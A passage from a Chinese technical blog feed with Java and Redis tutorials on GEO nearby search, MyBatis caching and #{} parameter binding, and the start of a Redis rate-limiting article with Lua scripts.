排除自己</span></span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="type">Long</span> <span class="variable">nearbyUserId</span> <span class="operator">=</span> Long.parseLong(member.replace(<span class="string">&quot;user:&quot;</span>, <span class="string">&quot;&quot;</span>));</span><br><span class="line">            <span class="type">double</span> <span class="variable">distance</span> <span class="operator">=</span> result.getDistance().getValue();</span><br><span class="line">            </span><br><span class="line">            nearbyUsers.add(<span class="keyword">new</span> <span class="title class_">NearbyUser</span>(nearbyUserId, distance));</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> nearbyUsers;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查找附近的商家</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;NearbyShop&gt; <span class="title function_">findNearbyShops</span><span class="params">(<span class="type">double</span> longitude, <span class="type">double</span> latitude, </span></span><br><span class="line"><span class="params">                                            <span class="type">double</span> radiusKm, <span class="type">int</span> limit)</span> &#123;</span><br><span class="line">        List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; results = </span><br><span class="line">            geoService.findNearby(<span class="string">&quot;shops&quot;</span>, longitude, latitude, radiusKm, limit);</span><br><span class="line">        </span><br><span class="line">        List&lt;NearbyShop&gt; shops = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt; result : results) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">member</span> <span class="operator">=</span> result.getContent().getName();</span><br><span class="line">            <span class="type">Long</span> <span class="variable">shopId</span> <span class="operator">=</span> Long.parseLong(member.replace(<span class="string">&quot;shop:&quot;</span>, <span class="string">&quot;&quot;</span>));</span><br><span class="line">            <span class="type">double</span> <span class="variable">distance</span> <span class="operator">=</span> result.getDistance().getValue();</span><br><span class="line">            </span><br><span class="line">            shops.add(<span class="keyword">new</span> <span class="title class_">NearbyShop</span>(shopId, distance));</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> shops;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-实际应用：配送范围"><a href="#3-3-实际应用：配送范围" class="headerlink" title="3.3 实际应用：配送范围"></a>3.3 实际应用：配送范围</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DeliveryService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> GeoService geoService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">DELIVERY_POINTS</span> <span class="operator">=</span> <span class="string">&quot;delivery:points&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 检查地址是否在配送范围内</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isInDeliveryRange</span><span class="params">(<span class="type">double</span> longitude, <span class="type">double</span> latitude, <span class="type">double</span> maxDistanceKm)</span> &#123;</span><br><span class="line">        List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; results = </span><br><span class="line">            geoService.findNearby(DELIVERY_POINTS, longitude, latitude, maxDistanceKm, <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> !results.isEmpty();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查找最近的配送点</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> DeliveryPoint <span class="title function_">findNearestPoint</span><span class="params">(<span class="type">double</span> longitude, <span class="type">double</span> latitude)</span> &#123;</span><br><span class="line">        List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; results = </span><br><span class="line">            geoService.findNearby(DELIVERY_POINTS, longitude, latitude, <span class="number">100</span>, <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (results.isEmpty()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">member</span> <span class="operator">=</span> results.get(<span class="number">0</span>).getContent().getName();</span><br><span class="line">        <span class="type">double</span> <span class="variable">distance</span> <span class="operator">=</span> results.get(<span class="number">0</span>).getDistance().getValue();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">DeliveryPoint</span>(member, distance);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、性能优化"><a href="#四、性能优化" class="headerlink" title="四、性能优化"></a>四、性能优化</h2><p>#</p><h2 id="4-1-数据分片"><a href="#4-1-数据分片" class="headerlink" title="4.1 数据分片"></a>4.1 数据分片</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ShardedGeoService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">SHARD_COUNT</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 根据位置计算分片</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">getShardKey</span><span class="params">(<span class="type">double</span> longitude, <span class="type">double</span> latitude)</span> &#123;</span><br><span class="line">        <span class="comment">// 使用GeoHash前缀作为分片依据</span></span><br><span class="line">        <span class="comment">// 或使用城市编码</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> (<span class="type">int</span>) ((longitude + <span class="number">180</span>) / <span class="number">360</span> * SHARD_COUNT);</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;locations:shard:&quot;</span> + shard;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addLocation</span><span class="params">(String member, <span class="type">double</span> longitude, <span class="type">double</span> latitude)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">shardKey</span> <span class="operator">=</span> getShardKey(longitude, latitude);</span><br><span class="line">        geoService.addLocation(shardKey, member, longitude, latitude);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; findNearby(</span><br><span class="line">            <span class="type">double</span> longitude, <span class="type">double</span> latitude, <span class="type">double</span> radiusKm, <span class="type">int</span> limit) &#123;</span><br><span class="line">        <span class="comment">// 查询相邻的几个分片</span></span><br><span class="line">        List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; allResults = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> -<span class="number">1</span>; i &lt;= <span class="number">1</span>; i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> (<span class="type">int</span>) ((longitude + <span class="number">180</span>) / <span class="number">360</span> * SHARD_COUNT) + i;</span><br><span class="line">            <span class="keyword">if</span> (shard &gt;= <span class="number">0</span> &amp;&amp; shard &lt; SHARD_COUNT) &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">shardKey</span> <span class="operator">=</span> <span class="string">&quot;locations:shard:&quot;</span> + shard;</span><br><span class="line">                List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; results = </span><br><span class="line">                    geoService.findNearby(shardKey, longitude, latitude, radiusKm, limit);</span><br><span class="line">                allResults.addAll(results);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 按距离排序并取前N个</span></span><br><span class="line">        allResults.sort(Comparator.comparingDouble(r -&gt; r.getDistance().getValue()));</span><br><span class="line">        <span class="keyword">return</span> allResults.stream().limit(limit).collect(Collectors.toList());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-定期清理过期位置"><a href="#4-2-定期清理过期位置" class="headerlink" title="4.2 定期清理过期位置"></a>4.2 定期清理过期位置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GeoCleanupService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 清理超过30分钟未更新的位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 600000)</span>  <span class="comment">// 每10分钟</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cleanupStaleLocations</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// GEO不支持按score范围删除</span></span><br><span class="line">        <span class="comment">// 方案1：使用辅助ZSet记录更新时间</span></span><br><span class="line">        <span class="comment">// 方案2：定期全量重建</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-使用辅助数据结构"><a href="#4-3-使用辅助数据结构" class="headerlink" title="4.3 使用辅助数据结构"></a>4.3 使用辅助数据结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OptimizedGeoService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 添加位置时同时更新辅助索引</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addLocationWithIndex</span><span class="params">(String key, String member, </span></span><br><span class="line"><span class="params">                                      <span class="type">double</span> longitude, <span class="type">double</span> latitude, <span class="type">long</span> timestamp)</span> &#123;</span><br><span class="line">        <span class="comment">// 添加GEO位置</span></span><br><span class="line">        redis.opsForGeo().add(key, <span class="keyword">new</span> <span class="title class_">Point</span>(longitude, latitude), member);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 辅助ZSet记录更新时间</span></span><br><span class="line">        redis.opsForZSet().add(key + <span class="string">&quot;:lastUpdate&quot;</span>, member, timestamp);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 辅助Hash存储详细信息</span></span><br><span class="line">        Map&lt;String, String&gt; info = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        info.put(<span class="string">&quot;longitude&quot;</span>, String.valueOf(longitude));</span><br><span class="line">        info.put(<span class="string">&quot;latitude&quot;</span>, String.valueOf(latitude));</span><br><span class="line">        info.put(<span class="string">&quot;updateTime&quot;</span>, String.valueOf(timestamp));</span><br><span class="line">        redis.opsForHash().putAll(key + <span class="string">&quot;:info:&quot;</span> + member, info);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 清理过期位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cleanupExpired</span><span class="params">(String key, <span class="type">long</span> expireBefore)</span> &#123;</span><br><span class="line">        <span class="comment">// 使用辅助ZSet找出过期的成员</span></span><br><span class="line">        Set&lt;String&gt; expired = redis.opsForZSet().rangeByScore(</span><br><span class="line">            key + <span class="string">&quot;:lastUpdate&quot;</span>, <span class="number">0</span>, expireBefore);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (expired != <span class="literal">null</span> &amp;&amp; !expired.isEmpty()) &#123;</span><br><span class="line">            <span class="comment">// 从GEO中删除</span></span><br><span class="line">            redis.opsForGeo().remove(key, expired.toArray());</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 从辅助ZSet中删除</span></span><br><span class="line">            redis.opsForZSet().remove(key + <span class="string">&quot;:lastUpdate&quot;</span>, expired.toArray());</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 删除辅助Hash</span></span><br><span class="line">            <span class="keyword">for</span> (String member : expired) &#123;</span><br><span class="line">                redis.delete(key + <span class="string">&quot;:info:&quot;</span> + member);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、注意事项"><a href="#五、注意事项" class="headerlink" title="五、注意事项"></a>五、注意事项</h2><p>#</p><h2 id="5-1-边界问题"><a href="#5-1-边界问题" class="headerlink" title="5.1 边界问题"></a>5.1 边界问题</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GeoHash的边界问题：</span><br><span class="line">- 两个位置GeoHash编码不同，但可能非常近（跨网格边界）</span><br><span class="line">- GEORADIUS命令会处理这个问题（查询相邻网格）</span><br><span class="line">- 但极端情况下仍可能有遗漏</span><br><span class="line"></span><br><span class="line">建议：</span><br><span class="line">- 查询半径适当放大（如实际500米，查询550米）</span><br><span class="line">- 对结果进行二次精确计算</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-距离精度"><a href="#5-2-距离精度" class="headerlink" title="5.2 距离精度"></a>5.2 距离精度</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Redis GEO使用球面模型计算距离</span></span><br><span class="line"><span class="comment"># 默认使用WGS84地球半径（6372797.56米）</span></span><br><span class="line"><span class="comment"># 对于短距离（&lt;100km）精度足够</span></span><br><span class="line"><span class="comment"># 长距离误差约0.5%</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果需要更高精度，可以：</span></span><br><span class="line"><span class="comment"># 1. 使用Redis结果做初步筛选</span></span><br><span class="line"><span class="comment"># 2. 应用层使用Haversine公式精确计算</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-大数量限制"><a href="#5-3-大数量限制" class="headerlink" title="5.3 大数量限制"></a>5.3 大数量限制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">单key存储的GEO位置数量：</span><br><span class="line">- 理论无限制（受内存限制）</span><br><span class="line">- 建议单key不超过100万个位置</span><br><span class="line">- 超过时考虑按城市/区域分片</span><br></pre></td></tr></table></figure><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>命令</th><th>功能</th><th>时间复杂度</th></tr></thead><tbody><tr><td>GEOADD</td><td>添加位置</td><td>O(log n)</td></tr><tr><td>GEOPOS</td><td>获取位置</td><td>O(log n)</td></tr><tr><td>GEODIST</td><td>计算距离</td><td>O(log n)</td></tr><tr><td>GEORADIUS</td><td>范围查询</td><td>O(n+log m)</td></tr><tr><td>GEORADIUSBYMEMBER</td><td>基于成员范围查询</td><td>O(log n + m)</td></tr><tr><td>GEOHASH</td><td>获取GeoHash</td><td>O(log n)</td></tr></tbody></table><p>GEO使用建议：</p><ol><li><strong>适合场景</strong>：附近查询、距离计算、范围判断</li><li><strong>不适合场景</strong>：精确路径规划、复杂几何计算</li><li><strong>分片策略</strong>：大数据量按区域分片</li><li><strong>辅助结构</strong>：结合ZSet/Hash管理元数据</li><li><strong>精度处理</strong>：短距离足够，长距离可二次精确</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-一级缓存和二级缓存怎么理解"><a href="#MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="MyBatis 一级缓存和二级缓存怎么理解"></a>MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis限流算法实战</title>
      <link href="//redis-rate-limiting-algorithms/"/>
      <url>//redis-rate-limiting-algorithms/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis限流算法实战"><a href="#Redis限流算法实战" class="headerlink" title="Redis限流算法实战"></a>Redis限流算法实战</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、计数器算法（固定窗口）"><a href="#一、计数器算法（固定窗口）" class="headerlink" title="一、计数器算法（固定窗口）"></a>一、计数器算法（固定窗口）</h2><p>#</p><h2 id="1-1-原理"><a href="#1-1-原理" class="headerlink" title="1.1 原理"></a>1.1 原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">将时间划分为固定窗口（如1分钟），每个窗口内允许N个请求</span><br><span class="line"></span><br><span class="line">时间线：</span><br><span class="line">00:00 ───── 00:01 ───── 00:02 ───── 00:03</span><br><span class="line">  │           │           │           │</span><br><span class="line">窗口1        窗口2        窗口3        窗口4</span><br><span class="line">计数:50     计数:100    计数:30     计数:0</span><br><span class="line">限流:100    限流:100    限流:100    限流:100</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-Redis实现"><a href="#1-2-Redis实现" class="headerlink" title="1.2 Redis实现"></a>1.2 Redis实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CounterRateLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 计数器限流</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key 限流key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> limit 窗口内最大请求数</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> windowSeconds 窗口大小（秒）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String key, <span class="type">int</span> limit, <span class="type">int</span> windowSeconds)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> <span class="string">&quot;rate:counter:&quot;</span> + key;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取当前计数</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">countStr</span> <span class="operator">=</span> redis.opsForValue().get(redisKey);</span><br><span class="line">        <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> countStr != <span class="literal">null</span> ? Integer.parseInt(countStr) : <span class="number">0</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (count &gt;= limit) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 超过限流</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 增加计数</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">newCount</span> <span class="operator">=</span> redis.opsForValue().increment(redisKey);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 如果是第一次，设置过期时间</span></span><br><span class="line">        <span class="keyword">if</span> (newCount != <span class="literal">null</span> &amp;&amp; newCount == <span class="number">1</span>) &#123;</span><br><span class="line">            redis.expire(redisKey, windowSeconds, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-Lua原子实现"><a href="#1-3-Lua原子实现" class="headerlink" title="1.3 Lua原子实现"></a>1.3 Lua原子实现</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 计数器限流（原子操作）</span></span><br><span class="line"><span class="keyword">local</span> key = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> limit = <span class="built_in">tonumber</span>(ARGV[<span class="number">1</span>])</span><br><span class="line"><span class="keyword">local</span> window = <span class="built_in">tonumber</span>(ARGV[<span class="number">2</span>])</span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> count = redis.call(<span class="string">&#x27;get&#x27;</span>, key)</span><br><span class="line"><span class="keyword">if</span> count <span class="keyword">and</span> <span class="built_in">tonumber</span>(count) &gt;= limit <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> current = redis.call(<span class="string">&#x27;incr&#x27;</span>, key)</span><br><span class="line"><span class="keyword">if</span> current == <span class="number">1</span> <span class="keyword">then</span></span><br><span class="line">    redis.call(<span class="string">&#x27;expire&#x27;</span>, key, window)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CounterRateLimiterLua</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">COUNTER_SCRIPT</span> <span class="operator">=</span> </span><br><span class="line">        <span class="string">&quot;local key = KEYS[1] &quot;</span> +</span><br><span class="line">        <span class="string">&quot;local limit = tonumber(ARGV[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;local window = tonumber(ARGV[2]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;local count = redis.call(&#x27;get&#x27;, key) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if count and tonumber(count) &gt;= limit then return 0 end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;local current = redis.call(&#x27;incr&#x27;, key) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if current == 1 then redis.call(&#x27;expire&#x27;, key, window) end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;return 1&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String key, <span class="type">int</span> limit, <span class="type">int</span> windowSeconds)</span> &#123;</span><br><span class="line">        DefaultRedisScript&lt;Long&gt; script = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(COUNTER_SCRIPT, Long.class);</span><br><span class="line">        <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redis.execute(script, Collections.singletonList(<span class="string">&quot;rate:counter:&quot;</span> + key), </span><br><span class="line">            String.valueOf(limit), String.valueOf(windowSeconds));</span><br><span class="line">        <span class="keyword">return</span> result != <span class="literal">null</span> &amp;&amp; result == <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-4-缺点"><a href="#1-4-缺点" class="headerlink" title="1.4 缺点"></a>1.4 缺点</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">临界问题：</span><br><span class="line"></span><br><span class="line">窗口1（00:00-00:01）      窗口2（00:01-00:02）</span><br><span class="line">    │                        │</span><br><span class="line">    └── 100请求 ──┐         └── 100请求 ──</span><br><span class="line">                  │              │</span><br><span class="line">                00:01 ──────────┘</span><br><span class="line">                </span><br><span class="line">在00:00:59和00:01:01之间，实际通过了200个请求！</span><br></pre></td></tr></table></figure><h2 id="二、滑动窗口算法"><a href="#二、滑动窗口算法" class="headerlink" title="二、滑动窗口算法"></a>二、滑动窗口算法</h2><p>#</p><h2 id="2-1-原理"><a href="#2-1-原理" class="headerlink" title="2.1 原理"></a>2.1 原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">记录每个请求的时间戳，滑动统计窗口内的请求数</span><br><span class="line"></span><br><span class="line">时间线：</span><br><span class="line">00:00:50 请求1</span><br><span class="line">00:00:55 请求2</span><br><span class="line">00:01:02 请求3  ← 窗口滑动，00:00:02之前的过期</span><br><span class="line">00:01:05 请求4</span><br><span class="line"></span><br><span class="line">窗口大小1分钟，当前时间00:01:05：</span><br><span 